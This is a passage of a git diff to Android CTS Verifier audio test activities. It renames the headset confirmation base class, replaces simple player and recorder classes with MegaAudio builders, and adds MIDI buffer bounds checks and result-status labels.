-                case R.id.audio_general_headset_no:
-                    Log.i(TAG, "User denies Headset Port existence");
+                case R.id.audio_wired_no:
+                    Log.i(TAG, "User denies wired Port existence");
                     recordHeasetPortFound(false);
                     getPassButton().setEnabled(true);
-                    mHeadsetPortYes.setEnabled(false);
-                    mHeadsetPortNo.setEnabled(false);
+                    mWiredPortYes.setEnabled(false);
+                    mWiredPortNo.setEnabled(false);
                     break;
             }
         }
@@ -129,10 +129,10 @@
         super.onCreate(savedInstanceState);
         setContentView(R.layout.audio_frequency_line_activity);
 
-        mHeadsetPortYes = (Button)findViewById(R.id.audio_general_headset_yes);
-        mHeadsetPortYes.setOnClickListener(mBtnClickListener);
-        mHeadsetPortNo = (Button)findViewById(R.id.audio_general_headset_no);
-        mHeadsetPortNo.setOnClickListener(mBtnClickListener);
+        mWiredPortYes = (Button)findViewById(R.id.audio_wired_yes);
+        mWiredPortYes.setOnClickListener(mBtnClickListener);
+        mWiredPortNo = (Button)findViewById(R.id.audio_wired_no);
+        mWiredPortNo.setOnClickListener(mBtnClickListener);
 
         mLoopbackPlugReady = (Button)findViewById(R.id.audio_frequency_line_plug_ready_btn);
         mLoopbackPlugReady.setOnClickListener(mBtnClickListener);
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/audio/AudioInputDeviceNotificationsActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/audio/AudioInputDeviceNotificationsActivity.java
index e253635..64c2314 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/audio/AudioInputDeviceNotificationsActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/audio/AudioInputDeviceNotificationsActivity.java
@@ -36,7 +36,7 @@
  * Tests Audio Device Connection events for output by prompting the user to insert/remove a
  * wired headset (or microphone) and noting the presence (or absence) of notifications.
  */
-public class AudioInputDeviceNotificationsActivity extends HeadsetHonorSystemActivity {
+public class AudioInputDeviceNotificationsActivity extends AudioWiredDeviceBaseActivity {
     Context mContext;
 
     TextView mConnectView;
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/audio/AudioInputRoutingNotificationsActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/audio/AudioInputRoutingNotificationsActivity.java
index eefa9e4..4b2d213 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/audio/AudioInputRoutingNotificationsActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/audio/AudioInputRoutingNotificationsActivity.java
@@ -22,6 +22,7 @@
 
 import android.media.AudioDeviceCallback;
 import android.media.AudioDeviceInfo;
+import android.media.AudioFormat;
 import android.media.AudioManager;
 import android.media.AudioRecord;
 
@@ -36,10 +37,15 @@
 import android.widget.Button;
 import android.widget.TextView;
 
-/**
+import org.hyphonate.megaaudio.recorder.RecorderBuilder;
+import org.hyphonate.megaaudio.recorder.Recorder;
+import org.hyphonate.megaaudio.recorder.JavaRecorder;
+import org.hyphonate.megaaudio.recorder.sinks.NopAudioSinkProvider;
+
+/*
  * Tests AudioRecord (re)Routing messages.
  */
-public class AudioInputRoutingNotificationsActivity extends HeadsetHonorSystemActivity {
+public class AudioInputRoutingNotificationsActivity extends AudioWiredDeviceBaseActivity {
     private static final String TAG = "AudioInputRoutingNotificationsActivity";
 
     Button recordBtn;
@@ -51,18 +57,33 @@
 
     OnBtnClickListener mBtnClickListener = new OnBtnClickListener();
 
-    TrivialRecorder mAudioRecorder = new TrivialRecorder();
+    static final int NUM_CHANNELS = 2;
+    static final int SAMPLE_RATE = 48000;
+    int mNumFrames;
+
+    JavaRecorder mAudioRecorder;
 
     private class OnBtnClickListener implements OnClickListener {
         @Override
         public void onClick(View v) {
+            if (mAudioRecorder == null) {
+                return; // failed to create the recorder
+            }
+
             switch (v.getId()) {
                 case R.id.audio_routingnotification_recordBtn:
-                    mAudioRecorder.start();
+                {
+                     mAudioRecorder.startStream();
+
+                    AudioRecord audioRecord = mAudioRecorder.getAudioRecord();
+                    audioRecord.addOnRoutingChangedListener(
+                            new AudioRecordRoutingChangeListener(), new Handler());
+
+                }
                     break;
 
                 case R.id.audio_routingnotification_recordStopBtn:
-                    mAudioRecorder.stop();
+                    mAudioRecorder.stopStream();
                     break;
             }
         }
@@ -102,9 +123,19 @@
 
         mContext = this;
 
-        AudioRecord audioRecord = mAudioRecorder.getAudioRecord();
-        audioRecord.addOnRoutingChangedListener(
-            new AudioRecordRoutingChangeListener(), new Handler());
+        // Setup Recorder
+        mNumFrames = Recorder.calcMinBufferFrames(NUM_CHANNELS, SAMPLE_RATE);
+
+        RecorderBuilder builder = new RecorderBuilder();
+        try {
+            mAudioRecorder = (JavaRecorder) builder
+                    .setRecorderType(RecorderBuilder.TYPE_JAVA)
+                    .setAudioSinkProvider(new NopAudioSinkProvider())
+                    .build();
+            mAudioRecorder.setupStream(NUM_CHANNELS, SAMPLE_RATE, mNumFrames);
+        } catch (RecorderBuilder.BadStateException ex) {
+            Log.e(TAG, "Failed MegaRecorder build.");
+        }
 
         // "Honor System" buttons
         super.setup();
@@ -114,7 +145,9 @@
 
     @Override
     public void onBackPressed () {
-        mAudioRecorder.shutDown();
+        if (mAudioRecorder != null) {
+            mAudioRecorder.stopStream();
+        }
         super.onBackPressed();
     }
 }
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/audio/AudioLoopbackBaseActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/audio/AudioLoopbackBaseActivity.java
index 7f96464..b61ea25 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/audio/AudioLoopbackBaseActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/audio/AudioLoopbackBaseActivity.java
@@ -321,7 +321,7 @@
         mLatencyMillis = 0.0;
         mConfidence = 0.0;
 
-        mNativeAnalyzerThread = new NativeAnalyzerThread();
+        mNativeAnalyzerThread = new NativeAnalyzerThread(this);
         if (mNativeAnalyzerThread != null) {
             mNativeAnalyzerThread.setMessageHandler(messageHandler);
             // This value matches AAUDIO_INPUT_PRESET_VOICE_RECOGNITION
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/audio/AudioOutputDeviceNotificationsActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/audio/AudioOutputDeviceNotificationsActivity.java
index ad8ba68..0e4f6da 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/audio/AudioOutputDeviceNotificationsActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/audio/AudioOutputDeviceNotificationsActivity.java
@@ -36,7 +36,7 @@
  * Tests Audio Device Connection events for output devices by prompting the user to
  * insert/remove a wired headset and noting the presence (or absence) of notifications.
  */
-public class AudioOutputDeviceNotificationsActivity extends HeadsetHonorSystemActivity {
+public class AudioOutputDeviceNotificationsActivity extends AudioWiredDeviceBaseActivity {
     Context mContext;
 
     TextView mConnectView;
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/audio/AudioOutputRoutingNotificationsActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/audio/AudioOutputRoutingNotificationsActivity.java
index a6d8846..62749c1 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/audio/AudioOutputRoutingNotificationsActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/audio/AudioOutputRoutingNotificationsActivity.java
@@ -36,12 +36,21 @@
 import android.widget.Button;
 import android.widget.TextView;
 
+import org.hyphonate.megaaudio.player.AudioSource;
+import org.hyphonate.megaaudio.player.AudioSourceProvider;
+import org.hyphonate.megaaudio.player.JavaPlayer;
+import org.hyphonate.megaaudio.player.PlayerBuilder;
+import org.hyphonate.megaaudio.player.sources.SinAudioSourceProvider;
+
 /**
  * Tests AudioTrack and AudioRecord (re)Routing messages.
  */
-public class AudioOutputRoutingNotificationsActivity extends HeadsetHonorSystemActivity {
+public class AudioOutputRoutingNotificationsActivity extends AudioWiredDeviceBaseActivity {
     private static final String TAG = "AudioOutputRoutingNotificationsActivity";
 
+    static final int NUM_CHANNELS = 2;
+    static final int SAMPLE_RATE = 48000;
+
     Context mContext;
 
     Button playBtn;
@@ -51,18 +60,27 @@
 
     int mNumTrackNotifications = 0;
 
-    TrivialPlayer mAudioPlayer = new TrivialPlayer();
+    // Mega Player
+    JavaPlayer mAudioPlayer;
 
     private class OnBtnClickListener implements OnClickListener {
         @Override
         public void onClick(View v) {
+            if (mAudioPlayer == null) {
+                return; // failed to create the player
+            }
             switch (v.getId()) {
                 case R.id.audio_routingnotification_playBtn:
-                    mAudioPlayer.start();
+                {
+                    mAudioPlayer.startStream();
+                    AudioTrack audioTrack = mAudioPlayer.getAudioTrack();
+                    audioTrack.addOnRoutingChangedListener(
+                            new AudioTrackRoutingChangeListener(), new Handler());
+                }
                     break;
 
                 case R.id.audio_routingnotification_playStopBtn:
-                    mAudioPlayer.stop();
+                    mAudioPlayer.stopStream();
                     break;
             }
         }
@@ -102,9 +120,24 @@
         stopBtn = (Button)findViewById(R.id.audio_routingnotification_playStopBtn);
         stopBtn.setOnClickListener(mBtnClickListener);
 
-        AudioTrack audioTrack = mAudioPlayer.getAudioTrack();
-        audioTrack.addOnRoutingChangedListener(
-            new AudioTrackRoutingChangeListener(), new Handler());
+        // Setup Player
+        //
+        // Allocate the source provider for the sort of signal we want to play
+        //
+        AudioSourceProvider sourceProvider = new SinAudioSourceProvider();
+        try {
+            PlayerBuilder builder = new PlayerBuilder();
+            mAudioPlayer = (JavaPlayer)builder
+                    // choose one or the other of these for a Java or an Oboe player
+                    .setPlayerType(PlayerBuilder.TYPE_JAVA)
+                    // .setPlayerType(PlayerBuilder.PLAYER_OBOE)
+                    .setSourceProvider(sourceProvider)
+                    .build();
+            //TODO - explain the choice of 96 here.
+            mAudioPlayer.setupStream(NUM_CHANNELS, SAMPLE_RATE, 96);
+        } catch (PlayerBuilder.BadStateException ex) {
+            Log.e(TAG, "Failed MegaPlayer build.");
+        }
 
         // "Honor System" buttons
         super.setup();
@@ -114,7 +147,9 @@
 
     @Override
     public void onBackPressed () {
-        mAudioPlayer.shutDown();
+        if (mAudioPlayer != null) {
+            mAudioPlayer.stopStream();
+        }
         super.onBackPressed();
     }
 }
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/audio/AudioWiredDeviceBaseActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/audio/AudioWiredDeviceBaseActivity.java
new file mode 100644
index 0000000..2e308f2
--- /dev/null
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/audio/AudioWiredDeviceBaseActivity.java
@@ -0,0 +1,80 @@
+/*
+ * Copyright (C) 2015 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.verifier.audio;
+
+import com.android.cts.verifier.PassFailButtons;
+import com.android.cts.verifier.R;
+
+import com.android.compatibility.common.util.ReportLog;
+import com.android.compatibility.common.util.ResultType;
+import com.android.compatibility.common.util.ResultUnit;
+
+import android.content.Context;
+
+import android.os.Bundle;
+import android.os.Handler;
+
+import android.util.Log;
+
+import android.view.View;
+import android.view.View.OnClickListener;
+
+import android.widget.Button;
+
+abstract class AudioWiredDeviceBaseActivity extends PassFailButtons.Activity {
+    private static final String TAG = AudioWiredDeviceBaseActivity.class.getSimpleName();
+
+    private OnBtnClickListener mBtnClickListener = new OnBtnClickListener();
+
+    abstract protected void enableTestButtons(boolean enabled);
+
+    private void recordWiredPortFound(boolean found) {
+        getReportLog().addValue(
+                "User Reported Wired Port",
+                found ? 1.0 : 0,
+                ResultType.NEUTRAL,
+                ResultUnit.NONE);
+    }
+
+    protected void setup() {
+        // The "Honor" system buttons
+        ((Button)findViewById(R.id.audio_wired_no)).setOnClickListener(mBtnClickListener);
+        ((Button)findViewById(R.id.audio_wired_yes)).setOnClickListener(mBtnClickListener);
+
+        enableTestButtons(false);
+    }
+
+    private class OnBtnClickListener implements OnClickListener {
+        @Override
+        public void onClick(View v) {
+            switch (v.getId()) {
+                case R.id.audio_wired_no:
+                    Log.i(TAG, "User denies wired device existence");
+                    enableTestButtons(false);
+                    recordWiredPortFound(false);
+                    break;
+
+                case R.id.audio_wired_yes:
+                    Log.i(TAG, "User confirms wired device existence");
+                    enableTestButtons(true);
+                    recordWiredPortFound(true);
+                    break;
+            }
+        }
+    }
+
+}
\ No newline at end of file
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/audio/HeadsetHonorSystemActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/audio/HeadsetHonorSystemActivity.java
deleted file mode 100644
index a82b994..0000000
--- a/apps/CtsVerifier/src/com/android/cts/verifier/audio/HeadsetHonorSystemActivity.java
+++ /dev/null
@@ -1,83 +0,0 @@
-/*
- * Copyright (C) 2015 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.android.cts.verifier.audio;
-
-import com.android.cts.verifier.PassFailButtons;
-import com.android.cts.verifier.R;
-
-import com.android.compatibility.common.util.ReportLog;
-import com.android.compatibility.common.util.ResultType;
-import com.android.compatibility.common.util.ResultUnit;
-
-import android.content.Context;
-
-import android.os.Bundle;
-import android.os.Handler;
-
-import android.util.Log;
-
-import android.view.View;
-import android.view.View.OnClickListener;
-
-import android.widget.Button;
-//import android.widget.TextView;
-
-abstract class HeadsetHonorSystemActivity extends PassFailButtons.Activity {
-    private static final String TAG = "HeadsetHonorSystemActivity";
-
-    private OnBtnClickListener mBtnClickListener = new OnBtnClickListener();
-
-    abstract protected void enableTestButtons(boolean enabled);
-
-    private void recordHeadsetPortFound(boolean found) {
-        getReportLog().addValue(
-                "User Reported Headset Port",
-                found ? 1.0 : 0,
-                ResultType.NEUTRAL,
-                ResultUnit.NONE);
-    }
-
-    protected void setup() {
-        // The "Honor" system buttons
-        ((Button)findViewById(R.id.audio_general_headset_no)).
-            setOnClickListener(mBtnClickListener);
-        ((Button)findViewById(R.id.audio_general_headset_yes)).
-            setOnClickListener(mBtnClickListener);
-
-        enableTestButtons(false);
-    }
-
-    private class OnBtnClickListener implements OnClickListener {
-        @Override
-        public void onClick(View v) {
-            switch (v.getId()) {
-                case R.id.audio_general_headset_no:
-                    Log.i(TAG, "User denies Headset Port existence");
-                    enableTestButtons(false);
-                    recordHeadsetPortFound(false);
-                    break;
-
-                case R.id.audio_general_headset_yes:
-                    Log.i(TAG, "User confirms Headset Port existence");
-                    enableTestButtons(true);
-                    recordHeadsetPortFound(true);
-                    break;
-            }
-        }
-    }
-
-}
\ No newline at end of file
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/audio/MidiActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/audio/MidiActivity.java
index 32cc805..e514cb7c8 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/audio/MidiActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/audio/MidiActivity.java
@@ -512,6 +512,20 @@
         return (byte)((cmd << 4) | (channel & 0x0F));
     }
 
+    //
+    // Logging Utility
+    //
+    static void logByteArray(String prefix, byte[] value, int offset, int count) {
+        StringBuilder builder = new StringBuilder(prefix);
+        for (int i = 0; i < count; i++) {
+            builder.append(String.format("0x%02X", value[offset + i]));
+            if (i != value.length - 1) {
+                builder.append(", ");
+            }
+        }
+        Log.d(TAG, builder.toString());
+    }
+
     /**
      * A class to control and represent the state of a given test.
      * It hold the data needed for IO, and the logic for sending, receiving and matching
@@ -537,8 +551,10 @@
         private TestMessage[] mTestMessages;
 
         // - The stream of message data to walk through when MIDI data is received.
+        private int mMIDIDataStreamSize;
         private byte[] mMIDIDataStream;
         private int mReceiveStreamPos;
+        private static final int MESSAGE_MAX_BYTES = 1024;
 
         public MidiTestModule(int deviceType) {
             mIODevice = new MidiIODevice(deviceType);
@@ -694,7 +710,8 @@
                 streamSize += mTestMessages[msgIndex].mMsgBytes.length;
             }
 
-            mMIDIDataStream = new byte[streamSize];
+            mMIDIDataStreamSize = streamSize;
+            mMIDIDataStream = new byte[mMIDIDataStreamSize];
 
             int offset = 0;
             for (int msgIndex = 0; msgIndex < mTestMessages.length; msgIndex++) {
@@ -714,9 +731,31 @@
             if (DEBUG) {
                 Log.i(TAG, "---- matchStream() offset:" + offset + " count:" + count);
             }
+            // a little bit of checking here...
+            if (count < 0) {
+                Log.e(TAG, "Negative Byte Count in MidiActivity::matchStream()");
+                return false;
+            }
+
+            if (count > MESSAGE_MAX_BYTES) {
+                Log.e(TAG, "Too Large Byte Count (" + count + ") in MidiActivity::matchStream()");
+                return false;
+            }
+
             boolean matches = true;
 
             for (int index = 0; index < count; index++) {
+                // Avoid a buffer overrun. Still don't understand why it happens
+                if (mReceiveStreamPos >= mMIDIDataStreamSize) {
+                    // report an error here
+                    Log.d(TAG, "matchStream buffer overrun @" + index +
+                            " of " + mMIDIDataStreamSize);
+                    // Dump the bufer here
+                    logByteArray("Expected: ", mMIDIDataStream, 0, mMIDIDataStreamSize);
+                    matches = false;
+                    break;  // bail
+                }
+
                 if (bytes[offset + index] != mMIDIDataStream[mReceiveStreamPos]) {
                     matches = false;
                     if (DEBUG) {
@@ -730,6 +769,11 @@
             if (DEBUG) {
                 Log.i(TAG, "  returns:" + matches);
             }
+
+            if (!matches) {
+                logByteArray("Received: ", bytes, offset, count);
+            }
+
             return matches;
         }
 
@@ -780,6 +824,9 @@
 
             @Override
             public void onSend(byte[] msg, int offset, int count, long timestamp) throws IOException {
+                if (DEBUG) {
+                    Log.d(TAG, "---- onSend() offset:" + offset + " count:" + count);
+                }
                 if (!matchStream(msg, offset, count)) {
                     mTestMismatched = true;
                 }
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/audio/NativeAnalyzerThread.java b/apps/CtsVerifier/src/com/android/cts/verifier/audio/NativeAnalyzerThread.java
index 2f74074..12fc9b2 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/audio/NativeAnalyzerThread.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/audio/NativeAnalyzerThread.java
@@ -17,6 +17,8 @@
 
 package com.android.cts.verifier.audio;
 
+import android.content.Context;
+
 import android.media.AudioFormat;
 import android.media.AudioManager;
 import android.media.AudioTrack;
@@ -26,12 +28,18 @@
 import android.util.Log;
 
 import android.os.Handler;
-import  android.os.Message;
+import android.os.Message;
+
+import com.android.cts.verifier.audio.audiolib.AudioSystemParams;
 
 /**
  * A thread that runs a native audio loopback analyzer.
  */
 public class NativeAnalyzerThread {
+    private static final String TAG = "NativeAnalyzerThread";
+
+    private Context mContext;
+
     private final int mSecondsToRun = 5;
     private Handler mMessageHandler;
     private Thread mThread;
@@ -48,6 +56,10 @@
     static final int NATIVE_AUDIO_THREAD_MESSAGE_REC_COMPLETE = 895;
     static final int NATIVE_AUDIO_THREAD_MESSAGE_REC_COMPLETE_ERRORS = 896;
 
+    public NativeAnalyzerThread(Context context) {
+        mContext = context;
+    }
+
     public void setInputPreset(int inputPreset) {
         mInputPreset = inputPreset;
     }
@@ -58,6 +70,7 @@
             System.loadLibrary("audioloopback_jni");
         } catch (UnsatisfiedLinkError e) {
             log("Error loading loopback JNI library");
+            log("e: " + e);
             e.printStackTrace();
         }
 
@@ -76,6 +89,7 @@
     private native int analyze(long audio_context);
     private native double getLatencyMillis(long audio_context);
     private native double getConfidence(long audio_context);
+
     private native int getSampleRate(long audio_context);
 
     public double getLatencyMillis() {
@@ -146,11 +160,7 @@
                     sendMessage(NATIVE_AUDIO_THREAD_MESSAGE_REC_ERROR);
                     break;
                 } else if (isRecordingComplete(audioContext)) {
-                    result = stopAudio(audioContext);
-                    if (result < 0) {
-                        sendMessage(NATIVE_AUDIO_THREAD_MESSAGE_REC_ERROR);
-                        break;
-                    }
+                    stopAudio(audioContext);
 
                     // Analyze the recording and measure latency.
                     mThread.setPriority(Thread.MAX_PRIORITY);
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/audio/ProAudioActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/audio/ProAudioActivity.java
index c1714cc..b95e9e3 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/audio/ProAudioActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/audio/ProAudioActivity.java
@@ -19,6 +19,8 @@
 import android.app.AlertDialog;
 import android.content.DialogInterface;
 import android.content.pm.PackageManager;
+import android.content.res.Resources;
+
 import android.media.AudioDeviceInfo;
 import android.media.AudioFormat;
 
@@ -62,6 +64,8 @@
 
     Button mRoundTripTestButton;
 
+    TextView mTestStatusLbl;
+
     // Borrowed from PassFailButtons.java
     private static final int INFO_DIALOG_ID = 1337;
     private static final String INFO_DIALOG_TITLE_ID = "infoDialogTitleId";
@@ -159,14 +163,38 @@
         calculatePass();
     }
 
-    private void calculatePass() {
+    private boolean calculatePass() {
         boolean hasPassed = !mClaimsProAudio ||
                 (mClaimsLowLatencyAudio && mClaimsMIDI &&
                 mClaimsUSBHostMode && mClaimsUSBPeripheralMode &&
                 (!mClaimsHDMI || isHDMIValid()) &&
                 mOutputDevInfo != null && mInputDevInfo != null &&
                 mConfidence >= CONFIDENCE_THRESHOLD && mLatencyMillis <= PROAUDIO_LATENCY_MS_LIMIT);
+
         getPassButton().setEnabled(hasPassed);
+        return hasPassed;
+    }
+
+    private void displayTestResults() {
+        boolean hasPassed = calculatePass();
+
+        Resources strings = getResources();
+        if (hasPassed) {
+            mTestStatusLbl.setText(strings.getString(R.string.audio_proaudio_pass));
+        } else if (mClaimsProAudio && mLatencyMillis > PROAUDIO_LATENCY_MS_LIMIT) {
+            mTestStatusLbl.setText(strings.getString(R.string.audio_proaudio_latencytoohigh));
+        } else if (mClaimsProAudio && mConfidence < CONFIDENCE_THRESHOLD) {
+            mTestStatusLbl.setText(strings.getString(R.string.audio_proaudio_confidencetoolow));
+        } else if (!mClaimsMIDI) {
+            mTestStatusLbl.setText(strings.getString(R.string.audio_proaudio_midinotreported));
+        } else if (!mClaimsUSBHostMode) {
+            mTestStatusLbl.setText(strings.getString(R.string.audio_proaudio_usbhostnotreported));
+        } else if (!mClaimsUSBPeripheralMode) {
+            mTestStatusLbl.setText(strings.getString(
+                    R.string.audio_proaudio_usbperipheralnotreported));
+        } else if (mClaimsHDMI && isHDMIValid()) {
+            mTestStatusLbl.setText(strings.getString(R.string.audio_proaudio_hdminotvalid));
+        }
     }
 
     @Override
@@ -209,6 +237,8 @@
         mClaimsHDMICheckBox = (CheckBox)findViewById(R.id.proAudioHasHDMICheckBox);
         mClaimsHDMICheckBox.setOnClickListener(this);
 
+        mTestStatusLbl = (TextView)findViewById(R.id.proAudioTestStatusLbl);
+
         calculatePass();
     }
 
@@ -277,7 +307,7 @@
         switch (view.getId()) {
         case R.id.proAudio_runRoundtripBtn:
             startAudioTest();
-           break;
+            break;
 
         case R.id.proAudioHasHDMICheckBox:
             if (mClaimsHDMICheckBox.isChecked()) {
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/audio/TrivialPlayer.java b/apps/CtsVerifier/src/com/android/cts/verifier/audio/TrivialPlayer.java
deleted file mode 100644
index af09504..0000000
--- a/apps/CtsVerifier/src/com/android/cts/verifier/audio/TrivialPlayer.java
+++ /dev/null
@@ -1,111 +0,0 @@
-/*
- * Copyright (C) 2015 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.android.cts.verifier.audio;
-
-import android.media.AudioFormat;
-import android.media.AudioManager;
-import android.media.AudioTrack;
-
-import java.lang.InterruptedException;
-import java.lang.Math;
-import java.lang.Runnable;
-
-public class TrivialPlayer implements Runnable {
-    AudioTrack mAudioTrack;
-    int mBufferSize;
-
-    boolean mPlay;
-    boolean mIsPlaying;
-
-    short[] mAudioData;
-
-    Thread mFillerThread = null;
-
-    public TrivialPlayer() {
-        mBufferSize =
-                AudioTrack.getMinBufferSize(
-                    41000,
-                    AudioFormat.CHANNEL_OUT_STEREO,
-                    AudioFormat.ENCODING_PCM_16BIT);
-        mAudioTrack =
-            new AudioTrack(
-                AudioManager.STREAM_MUSIC,
-                41000,
-                AudioFormat.CHANNEL_OUT_STEREO,
-                AudioFormat.ENCODING_PCM_16BIT,
-                mBufferSize,
-                AudioTrack.MODE_STREAM);
-
-        mPlay = false;
-        mIsPlaying = false;
-
-        // setup audio data (silence will suffice)
-        mAudioData = new short[mBufferSize];
-        for (int index = 0; index < mBufferSize; index++) {
-            // mAudioData[index] = 0;
-            // keep this code since one might want to hear the playnig audio
-            // for debugging/verification.
-            mAudioData[index] =
-                (short)(((Math.random() * 2.0) - 1.0) * (double)Short.MAX_VALUE/2.0);
-        }
-    }
-
-    public AudioTrack getAudioTrack() { return mAudioTrack; }
-
-    public boolean isPlaying() {
-        synchronized (this) {
-            return mIsPlaying;
-        }
-    }
-
-    public void start() {
-        mPlay = true;
-        mFillerThread = new Thread(this);
-        mFillerThread.start();
-    }
-
-    public void stop() {
-        mPlay = false;
-        mFillerThread = null;
-    }
-
-    public void shutDown() {
-        stop();
-        while (isPlaying()) {
-            try {
-                Thread.sleep(10);
-            } catch (InterruptedException ex) {
-            }
-        }
-        mAudioTrack.release();
-    }
-
-    @Override
-    public void run() {
-        mAudioTrack.play();
-        synchronized (this) {
-            mIsPlaying = true;
-        }
-        while (mAudioTrack != null && mPlay) {
-            mAudioTrack.write(mAudioData, 0, mBufferSize);
-        }
-        synchronized (this) {
-            mIsPlaying = false;
-        }
-        mAudioTrack.stop();
-    }
-}
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/audio/TrivialRecorder.java b/apps/CtsVerifier/src/com/android/cts/verifier/audio/TrivialRecorder.java
deleted file mode 100644
index f684681..0000000
--- a/apps/CtsVerifier/src/com/android/cts/verifier/audio/TrivialRecorder.java
+++ /dev/null
@@ -1,104 +0,0 @@
-/*
- * Copyright (C) 2015 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.android.cts.verifier.audio;
-
-import android.media.AudioFormat;
-import android.media.AudioManager;
-import android.media.AudioRecord;
-
-import android.media.MediaRecorder;
-
-import java.lang.InterruptedException;
-import java.lang.Runnable;
-
-public class TrivialRecorder implements Runnable {
-    AudioRecord mAudioRecord;
-    int mBufferSize;
-
-    boolean mRecord;
-    boolean mIsRecording;
-
-    short[] mAudioData;
-
-    Thread mReaderThread = null;
-
-    public TrivialRecorder() {
-        mBufferSize =
-                AudioRecord.getMinBufferSize(
-                    41000,
-                    AudioFormat.CHANNEL_IN_MONO,
-                    AudioFormat.ENCODING_PCM_16BIT);
-        mAudioRecord =
-            new AudioRecord(
-                MediaRecorder.AudioSource.DEFAULT,
-                41000,
-                AudioFormat.CHANNEL_IN_MONO,
-                AudioFormat.ENCODING_PCM_16BIT,
-                mBufferSize);
-
-        mRecord = false;
-        mIsRecording = false;
-
-        // setup audio data (silence will suffice)
-        mAudioData = new short[mBufferSize];
-    }
-
-    public AudioRecord getAudioRecord() { return mAudioRecord; }
-
-    public boolean mIsRecording() {
-        synchronized (this) {
-            return mIsRecording;
-        }
-    }
-
-    public void start() {
-        mRecord = true;
-        mReaderThread = new Thread(this);
-        mReaderThread.start();
-    }
-
-    public void stop() {
-        mRecord = false;
-        mReaderThread = null;
-    }
-
-    public void shutDown() {
-        stop();
-        while (mIsRecording()) {
-            try {
-                Thread.sleep(10);
-            } catch (InterruptedException ex) {
-            }
-        }
-        mAudioRecord.release();
-    }
-
-    @Override
-    public void run() {
-        mAudioRecord.startRecording();
-        synchronized (this) {
-            mIsRecording = true;
-        }
-       while (mRecord) {
-            mAudioRecord.read(mAudioData, 0, mBufferSize);
-        }
-        mAudioRecord.stop();
-        synchronized (this) {
-            mIsRecording = false;
-        }
-    }
-}
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/audio/USBAudioPeripheralActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/audio/USBAudioPeripheralActivity.java
index 8f0a9b0..5a2846c 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/audio/USBAudioPeripheralActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/audio/USBAudioPeripheralActivity.java
@@ -52,9 +52,6 @@
 
     protected final boolean mIsMandatedRequired;
 
-    // This will be overriden...
-    protected  int mSystemSampleRate = 48000;
-
     // Widgets
     private TextView mProfileNameTx;
     private TextView mProfileDescriptionTx;
@@ -138,9 +135,6 @@
 
         mAudioManager = (AudioManager)getSystemService(AUDIO_SERVICE);
